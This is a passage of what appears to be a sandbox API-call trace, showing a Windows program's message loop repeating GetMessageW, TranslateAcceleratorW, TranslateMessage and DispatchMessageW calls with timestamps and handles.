lpMsg=0x18e548) returned 1 [0056.311] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.311] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.311] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.312] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.359] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.359] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.359] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.359] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.359] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.359] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.359] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.360] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.577] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.577] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.577] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.577] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.577] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.577] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.577] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.578] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.623] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.623] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.623] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.623] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.623] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.623] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.623] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.624] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.714] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.714] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.714] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.714] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.714] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.714] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.714] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.715] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.748] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.748] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.748] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.748] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.748] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.748] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.748] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.749] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.795] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.795] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.795] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.795] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.795] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.795] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.795] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.796] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.842] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.842] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.842] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.842] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.842] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.842] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.842] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.843] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.893] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.893] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.893] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.893] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.893] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.893] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.893] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.894] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.936] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.936] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.936] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.936] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.936] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0056.936] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.936] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.937] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.012] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0057.012] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.012] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.012] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.965] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0057.965] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.965] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.965] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.012] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.012] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.012] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.012] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.012] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.012] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.012] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.013] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.059] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.059] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.059] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.059] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.059] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.059] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.059] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.060] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.105] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.105] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.105] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.105] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.105] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.105] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.105] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.106] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.152] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.152] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.152] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.152] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.153] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.153] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.153] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.154] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.199] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.199] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.199] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.199] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.199] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.199] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.199] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.200] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.246] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.246] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.246] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.246] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.246] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.246] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.246] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.247] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.293] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.293] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.293] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.293] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.293] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.293] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.293] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.294] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.339] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.339] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.339] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.339] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.339] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.339] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.339] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.340] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.386] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.386] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.386] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.386] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.386] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.386] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.386] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.387] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.433] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.433] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.433] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.433] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.433] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.433] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.433] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.434] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.480] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.480] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.480] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.480] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.480] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.480] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.480] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.481] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.527] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.527] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.527] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.527] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.527] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.527] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.527] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.528] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.574] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0058.574] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.574] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.574] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.618] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.618] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.618] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.619] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.670] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.671] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.671] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.671] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.671] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.671] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.671] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.672] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.712] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.712] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.712] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.712] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.712] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.712] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.712] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.713] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.770] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.770] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.770] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.770] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.770] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.770] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.770] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.771] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.806] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.806] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.806] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.806] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.806] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.806] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.806] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.807] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.852] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.852] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.853] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.853] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.853] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.853] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.853] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.854] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.899] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.899] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.899] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.899] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.899] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.899] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.899] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.900] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.946] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.946] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.946] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.946] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.946] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.946] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.946] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.947] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.993] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.993] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.993] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.993] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0059.993] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0059.993] TranslateMessage (lpMsg=0x18e548) returned 0 [0059.993] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0059.994] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.040] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0060.040] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.040] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.040] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.040] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0060.040] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.040] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.041] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.087] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0060.087] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.087] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.087] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0060.087] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0060.087] TranslateMessage (lpMsg=0x18e548) returned 0 [0060.087] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0060.088] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.428] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0061.428] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.428] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.428] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.428] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0061.428] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.428] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.429] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.475] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0061.475] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.475] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.475] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.475] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0061.475] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.475] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.476] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0061.522] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0061.522] TranslateMessage (lpMsg=0x18e548) returned 0 [0061.522] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0061.522] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0062.148] TranslateAcceleratorW (hWnd=0x6011e, hAccTable=0x101bf, lpMsg=0x18e548) returned 0 [0062.148] TranslateMessage 